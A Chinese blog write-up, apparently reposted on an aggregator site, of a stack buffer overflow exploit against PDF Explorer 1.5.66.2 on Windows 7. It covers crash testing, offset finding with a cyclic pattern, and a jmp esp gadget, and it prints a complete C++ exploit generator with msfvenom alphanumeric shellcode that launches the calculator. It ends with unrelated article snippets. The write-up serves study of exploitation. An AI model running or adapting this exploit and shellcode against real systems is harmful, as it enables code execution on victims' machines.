漏洞丨PDF Explorer 1.5.66.2 - Buffer Overflow

news2024/11/26 16:36:19

作者:黑蛋

一、漏洞简介
这是一个栈溢出漏洞,一个叫PDF Explorer的软件(干嘛的咱没必要知道),他对于用户输入内容长度没有限制造成栈溢出漏洞。

二、漏洞环境
虚拟机

目标程序

调试器

win7x86

PDF Explorer

x32dbg、OD

三、漏洞利用
1、漏洞测验
首先安装软件,然后打开:

 

点击数据库:

 

点击自定义域设置:

 

目标输入框如下:

 

我们测试输入,一直输入1,嘎嘎快乐:

 

2、检测溢出点
整奔溃了,咱利用kali中pattern_create生成字符串,用来定位溢出点:

 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

复制粘贴上文字符串,使用x32dbg打开PDF Explorer,运行:

 

观察x32dbg,按一下F9,让程序跑,观察EIP,找到溢出点:

 

EIP是:396A4138
即在396A4138处溢出,在这块截断字符串(注意小端序):

 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

3、漏洞利用
找到溢出点,我们开始分析堆栈情况,重新启动程序:

 

连续三个F9,回到PDF中,数据库->自定义域:

 

输入我们之前截断的字符串:

 

观察此时的堆栈:


ESP指向我们的shellcode中的一部分;
ESP:0022E36C;
而溢出点就在ESP+C的位置;

 

在这里我们需要知道,ret之后eip指向esp的值,
也就是关键call返回必定是一个ret C,让ESP指向396A4138,继续运行,可以看到溢出点依旧是396A4138:

 

如果在这里我们上下找一下,确实可以找到一个ret c,哈哈哈,下断点测试一下确实是这里:

 

前面这步操作无伤大雅,接下来就是构造shellcode了,我们的shellcode肯定在栈中,需要在溢出点那边跳到shellcode中,栈中地址都以00开头,所以不能直接跳转,经过构思,我们可以搞一个jmp esp的跳板,放在溢出点,跳到自身溜下去执行我们的shellcode。shellcode由三部分组成,前一部分无所谓,别放00就行,溢出点放一个跳板地址jmp esp,跳板后面跟我们的弹框shellcode。
跳板指令我是又用OD附加PDF搜索jmp esp找到一个地址76E277F1,弹窗shellcode用了msfvenom生成纯字符串弹个计算机(如果不是纯字符串,打印不出来):

 

下面是exp:

 

#define _CRT_SECURE_NO_WARNINGS
#include
#include
const char* a = “TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lixLBs0s0S0U0nim56QKpSTnkPPP0lKsb4LNksbr4lKbRFH4OoGrj7VFQYoLlgLPa1lTB4lepZahO6m5QjgZBXrf2rwnkrrFpNkRjGLnk2lDQd8ZCw831xQ0QLKv9q0gqkcNkqYdX8cvZQYLKdtnk7qHVdqIollKqHOtM31hGTxYpSEZV4CsMyh5kama4D5KTQHLKf84d31HSU6LKdLPKNkqHWls1yCnkTDnk6a8PlI3tUt6DckckQqqICjcaIoIpaOco3jnk5BXknm3mpjeQlMnelrc0wpwprpRHEaNk2OOwkO8UOKjPluORCfE8LfNuoMMMIo9EgLwv3LdJK0Ikm0D535MkaWb3T2poPjgpv3yojuBC51RLcSDn2E2XPeGpAA”;
char buffer[2000] = { 0 };
int main()
{
// 构造payload
memset(buffer, ‘A’, 264);
const char* payload =
“\xF1\x77\xE2\x76” //jmp esp
“\x90\x90\x90\x90”
“\x90\x90\x90\x90”
“\x90\x90\x90\x90”;
strcat(buffer, payload);
strcat(buffer, a);

// 写入文件
std::ofstream o;
o.open("poc.txt", std::ios::out | std::ios::trunc);
o << buffer << std::endl;

// 关闭文件
o.close();
return 0;

}

输入到文件中的内容如下:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA駑鈜悙悙悙悙悙悙TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lixLBs0s0S0U0nim56QKpSTnkPPP0lKsb4LNksbr4lKbRFH4OoGrj7VFQYoLlgLPa1lTB4lepZahO6m5QjgZBXrf2rwnkrrFpNkRjGLnk2lDQd8ZCw831xQ0QLKv9q0gqkcNkqYdX8cvZQYLKdtnk7qHVdqIollKqHOtM31hGTxYpSEZV4CsMyh5kama4D5KTQHLKf84d31HSU6LKdLPKNkqHWls1yCnkTDnk6a8PlI3tUt6DckckQqqICjcaIoIpaOco3jnk5BXknm3mpjeQlMnelrc0wpwprpRHEaNk2OOwkO8UOKjPluORCfE8LfNuoMMMIo9EgLwv3LdJK0Ikm0D535MkaWb3T2poPjgpv3yojuBC51RLcSDn2E2XPeGpAA

之后打开PDF,按照之前步骤,把前面字符串复制到输入框中,程序退出,弹出计算机:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/88863.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NeurIPS 2022 | MoVQ: 基于Modulating Quantized Vectors的高保真图像生成

原文标题&#xff1a;MoVQ: Modulating Quantized Vectors for High-Fidelity Image Generation 一、问题提出 虽然两级Vector Quantized (VQ)【指VQVAE-2】生成模型允许合成高保真和高分辨率图像&#xff0c;但它们的量化操作符将图像中的相似patch编码到相同的索引中&#…

2023年MBA联考英语(二)大作文:关于某高校大学生的十大主题

2023年管理类联考倒计时9天&#xff01;在历年的联考英语二作文主题中&#xff0c;大学生群体是时长会出现一期的&#xff0c;这既是对联考中部分专业涉及大学生群体的一种反映&#xff0c;也是因为这个群体的话题对大多数考生来讲都相对熟悉&#xff0c;毕竟都是从这个阶段经历…

世界杯竞猜项目Dapp-第四章(subgraph)

subgraph 是什么 subgraph 索引协议作为 Dapp 领域最重要的基建之一&#xff08;如 uniswap、wave 等都在使用&#xff09;&#xff0c;主要用来做链上数据索引&#xff0c;即在链下对链上事件进行捕捉&#xff08;扫链、计算、存储&#xff09;&#xff0c;然后可对存储下来的…

CAN总线学习笔记 | CAN盒测试STM32的CAN中断接收

CAN基础知识介绍文中介绍了CAN协议的基础知识&#xff0c;以及STM32F4芯片的CAN控制器相关知识&#xff0c;下面将通过实例&#xff0c;利用STM32CubeMX图形化配置工具&#xff0c;并配合CAN盒&#xff0c;来实现CAN通讯的中断收发测试 一、STM32CubeMX配置 CAN是挂载在APB1总…

《钱进球场》:球场争锋·棒球1号位

动画《钱进球场》改编自森高夕次原作、足立刑事著同名体育漫画&#xff0c;于2017年3月宣布动画化 &#xff0c;由STUDIO DEEN负责动画制作&#xff0c;于2018年4月6日起播出。动画第二期于2018年10月5日开始播出。全24话。 中文名 钱进球场 原版名称 グラゼニ 动画制作 Stud…

pytorch 生成手写数字图像

生成对抗网络的概念 最基本的GAN模型由一个生成器 G 和判别器 D 组成。生成器用于生成假样本&#xff0c;判别器用于判断样本是真实的还是假的。 生成器(Generator)&#xff1a;通过机器生成数据&#xff08;大部分情况下是图像&#xff09;&#xff0c;目的是“骗过”判别器…

jQuery - AJAX 简介

什么是 AJAX&#xff1f; AJAX 异步 JavaScript 和 XML&#xff08;Asynchronous JavaScript and XML&#xff09;。 简短地说&#xff0c;在不重载整个网页的情况下&#xff0c;AJAX 通过后台加载数据&#xff0c;并在网页上进行显示。 使用 AJAX 的应用程序案例&#xff…

个人简介网页设计作业 静态HTML个人介绍网页作业 DW个人网站模板下载 WEB静态大学生简单网页 个人网页作品代码 个人网页制作 学生个人网页

&#x1f389;精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业…

[附源码]Nodejs计算机毕业设计基于百度AI平台的财税报销系统Express(程序+LW)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程。欢迎交流 项目运行 环境配置&#xff1a; Node.js Vscode Mysql5.7 HBuilderXNavicat11VueExpress。 项目技术&#xff1a; Express框架 Node.js Vue 等等组成&#xff0c;B/S模式 Vscode管理前后端分…

Redis中BIO、NIO、IO多路复用

1 BIO(阻塞IO) 阻塞IO就是两个阶段都必须阻塞等待 通常IO操作都是阻塞I/O的&#xff0c;也就是说当你调用read时&#xff0c;如果没有数据收到&#xff0c;那么线程或者进程就会被挂起&#xff0c;直到收到数据。 read直到数据复制到应用进程的缓冲区或者发生错误才会返回&am…

【数据结构与算法】第十六篇:图论(基础篇)

知识导航图形结构的引进图&#xff08;Grapth&#xff09;1.图的概念与应用2.有向图入度&#xff0c;出度3.无向图4.完全图无向完全图有向完全图5.连通图6.连通分量强连通分量图的实现方案1.邻接矩阵实现法2.邻接表实现法3.两种方法对比分析图形结构的引进 &#x1f30e; 数据…

Linux基础-目录操作

该文章主要为完成实训任务及总结&#xff0c;详细实现过程及结果见【参考文章】 参考文章&#xff1a;https://howard2005.blog.csdn.net/article/details/126962205 文章目录一、常用权限操作1.1 常用权限操作1. chgrp命令2. chown命令3. chmod命令1.2 权限操作实战任务1 创建…

14、Redis_主从复制

文章目录14、Redis_主从复制14.1 是什么14.2. 能干嘛14.3 怎么玩&#xff1a;主从复制14.3.1 新建redis6379.conf&#xff0c;填写以下内容14.3.2 新建redis6380.conf&#xff0c;填写以下内容14.3.3 新建redis6381.conf&#xff0c;填写以下内容14.3.4 启动三台redis服务器14.…

java项目_第173期ssm高校二手交易平台_计算机毕业设计

java项目_第173期ssm高校二手交易平台_计算机毕业设计 【源码请到下载专栏下载】 今天分享的项目是《ssm高校二手交易平台》 该项目分为2个角色&#xff0c;管理员和用户。 用户可以浏览前台商品&#xff0c;并且进行购买商品&#xff0c;并在 个人后台查看自己的订单、查看商品…

DPDK源码分析之DPDK技术简介

Cache和内存技术 1. Cache一致性 多核处理器同时访问同一段cacheline时&#xff0c;会出现写回冲突的情况&#xff0c;操作系统解决这个问题会消耗一部分性能&#xff0c;DPDK采用了两个技术来解决这个问题&#xff1a; 对于共享的数据&#xff0c;每个核都定义自己的备份lc…

区块链学习2-合约开发

概述 智能合约本质上是运行在某种环境&#xff08;例如虚拟机&#xff09;中的一段代码逻辑。 长安链的智能合约是运行在长安链上的一组“动态代码”&#xff0c;类似于Fabric的chaincode&#xff0c;Fabric的智能合约称为链码&#xff08;chaincode&#xff09;&#xff0c;…

对氯间二甲苯酚在活性污泥发酵过程中重塑ARGs的机制类别

2022年8月&#xff0c;凌恩生物客户河海大学罗景阳教授团队在《Science of the Total Environment》期刊上发表研究论文“Para-chloro-meta-xylenol reshaped the fates of antibiotic resistance genes during sludge fermentation: Insights of cell membrane permeability, …

ChatGPT技术解构

ChatGPT的训练主要分为三个步骤&#xff0c;如图所示&#xff1a; Step1&#xff1a; 使用有监督学习方式&#xff0c;基于GPT3.5微调训练一个初始模型&#xff1b;训练数据约为2w~3w量级&#xff08;根据InstructGPT的训练数据量级估算&#xff0c;参照https://arxiv.org/pdf…

【内网安全-防火墙】防火墙、协议、策略

目录 一、基础知识 1、防火墙五个域 2、协议模型 二、出入站策略 1、单个机器防火墙 2、域控的防火墙 3、安全策略 一、基础知识 1、防火墙五个域 1、Untrust(不信任域&#xff0c;低级安全区域): 用来定义Internet等不安全的网络&#xff0c;用于网络入口线的接入 ——…

沁恒 CH32V003J4M6 开发测试

一、概述 具体看图&#xff0c;SOP8价格在0.6R&#xff0c;TSSOP20价格在0.7R&#xff0c;优势太大了 二、开发准备 通过原厂可以拿到样片&#xff0c;目前我拿到这颗是SOP8&#xff0c;另外官方淘宝可以买到TSSOP20的测试板&#xff0c;也带样片购买WCHLINK&#xff0c;TB…